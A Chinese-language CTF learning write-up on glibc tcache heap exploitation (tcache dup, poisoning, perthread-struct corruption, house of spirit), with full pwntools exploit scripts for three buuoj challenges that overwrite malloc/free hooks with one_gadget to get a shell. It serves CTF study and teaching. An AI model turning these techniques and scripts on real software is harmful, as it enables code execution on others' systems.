Tcache Attack學習記錄


What's Tcache?

tcache全稱thread local caching,是glibc2.26后新加入的一種緩存機制(在Ubuntu 18及之后的版本中應用),提升了不少性能,但是與此同時也大大犧牲了安全性,在ctf-wiki中介紹tcache的標題便是tcache makes heap exploitation easy again,與fastbin非常相似但優先級高於fastbin,且相對於fastbin來說少了很多檢查,所以更加便於進行漏洞利用。

對於增加源代碼的具體分析可以參考這篇文章: https://nightrainy.github.io/2019/07/11/tcache%E6%9C%BA%E5%88%B6%E5%88%A9%E7%94%A8%E5%AD%A6%E4%B9%A0/

這里只做簡單的要點羅列:

  1. tcache機制的主體是tcache_perthread_struct結構體,其中包含單鏈表tcache_entry
  2. 單鏈表tcache_entry,也即tcache Bin的默認最大數量是64,在64位程序中申請的最小chunk size為32,之后以16字節依次遞增,所以size大小范圍是0x20-0x410,也就是說我們必須要malloc size≤0x408的chunk
  3. 每一個單鏈表tcache Bin中默認允許存放的chunk塊最大數量是7
  4. 在申請chunk塊時,如果tcache Bin中有符合要求的chunk,則直接返回;如果在fastbin中有符合要求的chunk,則先將對應fastbin中其他chunk加入相應的tcache Bin中,直到達到tcache Bin的數量上限,然后返回符合符合要求的chunk;如果在smallbin中有符合要求的chunk,則與fastbin相似,先將雙鏈表中的其他剩余chunk加入到tcache中,再進行返回
  5. 在釋放chunk塊時,如果chunk size符合tcache Bin要求且相應的tcache Bin沒有裝滿,則直接加入相應的tcache Bin
  6. 與fastbin相似,在tcache Bin中的chunk不會進行合並,因為它們的pre_inuse位會置成1

結合Tcache機制的常見漏洞利用方式

tcache dup

與fastbin dup相似,但是正如上文中所說,它比fastbin dup更好利用,漏洞利用原因在於向tcache Bin中插入chunk的函數tcache_put()幾乎沒有檢查:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

所以我們甚至無需在double free時插入一個無關chunk以繞過檢查,可以直接對一個chunk進行多次釋放操作,下面根據一道非常簡單的例題進行進一步的說明:

例題:buuoj -- [BJDCTF 2nd]ydsneedgirlfriend2

WP:

使用exeinfo查看程序,可以看到是在ubuntu 18的環境下進行編譯的:

因此,需要考慮tcache機制的影響。

分析程序,可以發現主要有:add()dele()show()三個功能,同時有一個非常友好的后門函數,執行即可直接getshell。分析add()函數,可以發現限制了添加的數量最大為8次,沒有限制申請name的chunk塊的大小,看起來沒有堆溢出點,具體的結構如下:

分析dele()函數,發現有明顯的UAF漏洞可以利用;分析show()函數,發現代碼執行了上圖結構中的打印函數。因此,我們的思路是利用tcache dup連續釋放兩次相同的chunk,結合UAF漏洞,構造多指針指向同一chunk,隨后即可將打印函數覆蓋成后門函數並執行:

add(0x20,'aaaa')#0
delete(0)
delete(0)

隨后下斷點調試可以看到存放大小0x20chunk的tcache Bin中放入了兩個相同的chunk塊:

隨后我們申請size為0x10大小的name chunk,即可將這兩個chunk依次取出,利用UAF覆蓋打印函數為后門函數,執行show()函數即執行了后門函數,可以getshell,exp如下:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=1
binary_name='ydsneedgirlfriend2'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',26544)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

def add(lenth,name):
    ru("u choice :\n")
    sl('1')
    ru('Please input the length of her name:\n')
    sl(str(lenth))
    ru("Please tell me her name:\n")
    sl(name)
def delete(idx):
    ru("u choice :\n")
    sl('2')
    ru("Index :")
    sl(str(idx))
def show(idx):
    ru("u choice :\n")
    sl('3')
    ru("Index :")
    sl(str(idx))

z('b *0x400A32\nb *0x400AFF\nb *0x400C5D\nb *0x400C7D\nb *0x400D6E\n')
add(0x20,'aaaa')#0
delete(0)
delete(0)
add(0x10,p64(0x400D86)*2)#1
#show(0)
p.interactive()

tcache poisoning

同樣,由於tcache_put函數在把chunk放入tcache Bin時沒有做過多檢查,我們可以在釋放一個chunk將其放入tcache后,直接修改其fd指針為任意地址處,比fastbin attack更易利用的是我們無需構造fake_fastbin_size以繞過檢查,便可直接將任意地址處插入到tcache Bin中。因此,常與其他漏洞利用方式,例如:off by one等結合,用來在最后劫持程序流到one_gadget程序段或system等函數處。下面通過詳細分析一道例題進行進一步說明:

例題:buuoj -- hitcon_2018_children_tcache

WP:

根據題目我們也幾乎可以確定題目需要考慮tcache機制的影響,分析程序,可以看到主要有new()\delete()\show()三個功能。進一步分析new()函數,發現限制了添加數量最大值為10,在讀入Data的時候將換行符替換成了字符串結束符'\x00',為直接泄露地址增加了困難,可以發現明顯的漏洞在於:

使用了strcpy()函數拷貝字符串,會多添加一個字符串結束符'\x00';分析delete()函數,正常無UAF漏洞,但是需要注意:

程序在釋放chunk后會進行垃圾數據0xda的填充,為我們泄露地址進一步增加困難;同時,程序存在show()函數可以利用以泄露地址。因此,我們的思路是主要利用off by null這一漏洞,構造內存結構,具體細節如下:

第一步,首先我們的目標應該是泄露libc地址,由於本題對申請chunk的size限制並不嚴格,因此我們考慮利用unsortedbin中的Bin頭chunk的fd和bk指向main_arena這一特點泄露,由於有上文提到的\x00截斷問題,我們考慮構造堆塊重疊,利用已分配堆塊的show()功能打印地址,因此我們先構造內存結構,利用off by null將后一chunk的pre_inuse位置0,實現在釋放時觸發unlink,與前面的chunk合並:

1 new(0x410,'a'*0x410)#0
2 new(0x28,'a')#1
3 new(0x4f0,'a')#2
4 #-->防止chunk2釋放時與top chunk合並
5 new(0x10,'/bin/sh')#3
6 delete(1)
7 delete(0)
8 #-->消除0xda垃圾數據填充的影響,正確覆蓋pre_size
9 for i in range (0,9):
10     new(0x28-i,'a'*(0x28-i))#0
11     delete(0)
12 new(0x28,'a'*0x20+p64(0x450))#0
13 #-->觸發unlink
14 delete(2)

當i為0時,執行第10行后可以看到user_data size為0x4f0的chunk的size位由0x501修改成了0x500,可以認為前一chunk塊已釋放:

為了避免0xda數據影響覆蓋pre_size,循環一個一個字節利用strcpy()漏洞進行清除,隨后正確覆蓋pre_size為0x450:

隨后,delete(2)即可觸發unlink機制,與前面0x450大小的chunk合並,中間0x20的chunk變成功堆塊重疊的一部分:

隨后,由於從unsortedbin中割出一塊chunk后剩余部分的chunk的fd和bk仍然指向main_arena,利用重疊的chunk泄露地址(此處注意在glibc 2.26下,unsortedbin的fd已經不再指向<main_arena+88>處,而是<main_arena+96>):

new(0x410,'a')#1
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-libc.sym['__malloc_hook']-0x10

最后,終於可以利用tcache poisoning劫持程序流了,此時申請大小為0x20的chunk 2與chunk 0指向同一地址,由於缺少edit函數,我們結合tcache dup連續釋放chunk兩次,再次申請內存即可修改tcache中剩余chunk的fd指針為free_hook,實現申請任意地址chunk,寫入one_gadget,即可getshell:

new(0x28,'a')#2-->0
delete(2)
delete(0)
new(0x20,p64(libc_base+libc.sym['__free_hook']))#0
new(0x20,'a')
one_gadget=libc_base+0x4f322
new(0x20,p64(one_gadget))
delete(3)

完整的exp如下:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=1
binary_name='HITCON_2018_children_tcache'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',25879)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

def new(size,data):
    sla("Your choice: ",'1')
    sla("Size:",str(size))
    sla("Data:",data)

def show(idx):
    sla("Your choice: ",'2')
    sla("Index:",str(idx))

def delete(idx):
    sla("Your choice: ",'3')
    sla("Index:",str(idx))

z('b *0x555555554D6B\nb *0x555555554DCA\nb *0x555555554F7E\n')
new(0x410,'a'*0x410)#0
new(0x28,'a')#1
new(0x4f0,'a')#2
new(0x10,'/bin/sh')#3
#-->
delete(1)
delete(0)
for i in range (0,9):
    new(0x28-i,'a'*(0x28-i))#0
    delete(0)
new(0x28,'a'*0x20+p64(0x450))#0
delete(2)
new(0x410,'a')#1
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-libc.sym['__malloc_hook']-0x10
new(0x28,'a')#2-->0
delete(2)
delete(0)
new(0x20,p64(libc_base+libc.sym['__free_hook']))#0
new(0x20,'a')
one_gadget=libc_base+0x4f322
new(0x20,p64(one_gadget))
delete(3)
p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

tcache perthread corruption

在堆題中,我們常見的一種泄露地址的方法是泄露unsortedbin中chunk的fdbk,而在嚴格限制chunk大小的堆題中,如果有tcache機制的影響,我們必須需要先將tcache Bin填滿,才能把chunk放入unsortedbin中,再進行地址泄露。於是,有些堆題會對mallocfree操作的次數設定限制,這時我們可以考慮偽造tcache機制的主體tcache_perthread_struct結構體。在源代碼中對其定義如下:

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;        
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];     //數組counts用於存放每個bins中的chunk數量
  tcache_entry *entries[TCACHE_MAX_BINS];   //數組entries用於放置64個bins
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

可以看到tcache_perthread_struct結構體首先是類型為char(一個字節)的counts數組,用於存放64個bins中的chunk數量,隨后依次是對應size大小0x20-0x410的64個entries(8個字節),用於存放64個bins的Bin頭地址,我寫了如下非常簡單的測試程序來具體看一看這個結構體:

#include <stdlib.h>

int main()
{
    void *ptr1,*ptr2,*ptr3;
    ptr1=malloc(0x10);
    ptr2=malloc(0x80);
    ptr3=malloc(0x20);
    free(ptr2);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    free(ptr1);
    return 0;
}

結合調試:

了解了這個結構體后,我們就可以具體利用了,下面結合一道例題進行進一步說明:

例題:buuoj -- [V&N2020 公開賽]easyTHeap

WP:

首先依然是glibc2.26下的環境,分析程序,主要有add() edit() show() delete()四個功能,可以看到,限制了最多進行7次添加操作,3次刪除操作。分析add()函數,看到對申請chunk的size進行了一定限制;分析edit()函數,發現通過size數組限制了寫入字節數;分析show()函數,實現正常的顯示功能,可利用來泄露地址;分析delete()函數,存在UAF漏洞,但是會將size數組清零,這意味着在delete堆塊后便無法任意修改。所以我們的思路是,通過tcache dup泄露堆地址,隨后通過tcache poisoning,將chunk申請到堆基址,也即存放tcache_perthread_struct的地址,實現對結構體的偽造,即可實現把chunk放入unsortedbin以泄露地址,同時可以通過構造entries的內容,再次申請堆塊到任意地址,進一步實現getshell;

第一步,通過tcache dup泄露堆地址,這里需要多分配一個chunk,以防止chunk 0釋放后與top chunk的合並,由於連續兩次釋放chunk,chunk中的fd指針指向自身地址,可泄露堆基址:

add(0x80)#0
add(0x10)#1 -->
delete(0)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
heap_base=leak_addr-0x250-0x10
log.info("heap_addr:"+hex(heap_base))

第二步,tcache poisoning 申請chunk到heap_base:

add(0x80)#2->0
#修改chunk0的fd
edit(2,p64(heap_base+0x10))
add(0x80)#3->0
add(0x80)#4->heap_+0x10

第三步,偽造tcache_perthread_struct結構體中的counts數組,這里我將其全部修改為上限7,隨后再次釋放大小為0x80的chunk即可放入unsortedbin並泄露地址了:

pd='\x07'*64
edit(4,pd)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-0x10-libc.sym['__malloc_hook']

第四步,通過修改結構體中entries數組的第一個內容,即size=0x20的chunk的tcache Bin頭,再次申請0x10的chunk可以申請到指定地址的chunk,實現任意地址寫:

但是這里受次數限制我們不能寫入free_hook,checksec查看可以看到Full RELRO保護開啟,無法寫入函數的got表,malloc函數的參數又是我們自己寫入的,無法寫入'/bin/sh'字符串,所以我們只能向malloc_hook中寫入one_gadget地址,但是這里將可用的one_gadget全部嘗試后發現均不滿足條件,於是我們必須利用realloc——hook,通過libc中realloc函數前一系列的抬棧操作來滿足one_gadget可以使用的條件:

同時realloc_hookmalloc_hook地址是連續的:

因此我們劫持程序流至realloc_hook地址處,可以同時向兩個hook地址中任意寫,我們只需向realloc_hook中寫入one_gadget,向malloc_hook中寫入realloc地址加上適當的偏移(抬棧時push操作的次數不同,我們一般加上8即可),就可以在再次malloc時先去realloc函數處執行,抬棧后滿足one_gadget的要求,再去執行realloc_hook中存放的one_gadget,進行getshell:

malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['__libc_realloc']
one_gadget=0x10a38c+libc_base
edit(4,'\x07'*64+p64(malloc_hook-8))
add(0x10)#5
edit(5,p64(one_gadget)+p64(realloc+8))
add(0x10)#6

完整的exp如下:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='./vn_pwn_easyTHeap'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',27084)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

def add(size):
    sla("choice: ",'1')
    sla("size?",str(size))
def edit(idx,content):
    sla("choice: ",'2')
    sla("idx?",str(idx))
    sla("content:",content)
def show(idx):
    sla("choice: ",'3')
    sla("idx?",str(idx))
def delete(idx):
    sla("choice: ",'4')
    sla("idx?",str(idx))

z('b *0x555555554B6F\nb *0x555555554C90\nb *0x555555554D18\nb *0x555555554DA0\n')
add(0x80)#0
add(0x10)#1 -->
delete(0)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
heap_base=leak_addr-0x250-0x10
log.info("heap_addr:"+hex(heap_base))
add(0x80)#2->0
edit(2,p64(heap_base+0x10))
add(0x80)#3->0
add(0x80)#4->heap_+0x10
pd='\x07'*64
edit(4,pd)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-0x10-libc.sym['__malloc_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['__libc_realloc']
one_gadget=0x10a38c+libc_base
edit(4,'\x07'*64+p64(malloc_hook-8))
add(0x10)#5
edit(5,p64(one_gadget)+p64(realloc+8))
add(0x10)#6
p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

tcache house of spirit

與house of spirit的利用方式幾乎相同(詳見House of Spirit),但是由於tcache_put函數幾乎沒有檢查,因此構造fake tcache chunk內存時需要繞過的檢查更加寬松,具體如下:

  1. fake chunk的size在tcache的范圍中(64位程序中是32字節到410字節),且其ISMMAP位不為1
  2. fake chunk的地址對齊

這里不需要構造next chunk的size,也不需要考慮double free的情況,因為free堆塊到tcache中的時候不會進行這些檢查


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM